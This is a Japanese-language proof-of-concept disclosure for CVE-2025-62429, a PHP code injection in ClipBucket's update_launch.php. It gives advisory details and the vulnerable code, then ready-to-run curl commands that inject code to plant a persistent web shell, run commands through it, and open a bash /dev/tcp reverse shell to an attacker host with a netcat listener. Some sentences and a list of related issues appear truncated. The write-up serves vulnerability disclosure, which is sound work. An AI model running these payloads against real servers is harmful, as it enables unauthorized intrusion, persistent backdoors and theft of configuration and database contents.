
CVE-2025-62429 | clipbucket RCE
update_launch.php の PHPコードインジェクションによる RCE の Proof-of-Concept
開示: GHSA-3h9c-7j8r-xc3v を通じて私が最初に報告しました。
⚠️ 許可されたペネトレーションテスト/研究目的でのみ使用してください。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-62429 |
| 深刻度 | 🔴 高 |
| CVSS スコア | 7.2 |
| CVSS ベクター | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS コマンドインジェクション, CWE-94: コードインジェクション |
| 影響を受ける製品 | ClibBucket <= 5.5.3 - #79 |
| パッチ適用バージョン | 5.5.3 - #80 |
| アドバイザリ | GHSA-3h9c-7j8r-xc3v |
ClipBucket v5.5.3-61 には、認証済みリモートコード実行 (RCE) の脆弱性が存在します。この脆弱性は CWE-94: コード生成の制御が不適切 ('コードインジェクション') に分類されます。アプリケーションは update_launch.php 内で実行可能な PHP コードを生成するために使用されるユーザー制御の入力を適切にサニタイズしていません。認証済みの管理者はこれを悪用して、基盤となるサーバー上で完全なコマンド実行を達成し、Web 管理者からシステムユーザー (例: containeruser) へ権限を昇格させることができます。
脆弱性は upload/admin_area/actions/update_launch.php にあります。このスクリプトは、一時的な PHP バックグラウンドスクリプトを動的に生成することでシステム更新を実現します。
脆弱なコードスニペット: upload/admin_area/actions/update_launch.php (40〜86行目)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
悪用メカニズム:
type パラメータはエスケープやサニタイズなしに $data 文字列へ連結されるため、攻撃者はシングルクォート (') を使用して文字列リテラルのコンテキストから抜け出すことができます。その後、任意の PHP 関数 (system() や file_put_contents() など) を注入し、// を使用して元のコードの残りをコメントアウトできます。これにより、攻撃者が指定したコードが PHP-CLI プロセスの権限で実行されます。
PHPSESSID セッションクッキー。
まず、ドキュメントルートに永続的な Web シェルを展開して、この脆弱性を実証します。
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
RCE を確認した後、ポストエクスプロイテーション用のインタラクティブシェルを確立します。
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
攻撃者マシンが接続を受け取り、containeruser として完全なインタラクティブシェルアクセスが付与されます。
悪用に成功すると、攻撃者は任意のシステムコマンドを実行できます。これにより、次の結果が生じます:
config.inc.php) やデータベース全体を読み取ることができます。この問題は、以前に開示された以下の脆弱性に関連しています:
さらなる分析により、この脆弱性は不完全な修正のため ClipBucket v5.5.3 に残存することが判明しました。
元のアドバイザリは問題の一部に対処しましたが、update_launch.php の type パラメータを介した PHP コードインジェクションベクターは悪用可能なままでした。
このアドバイザリは、追加の技術的詳細、最新バージョンでの検証、および完全なエンドツーエンドの悪用シナリオを提供します。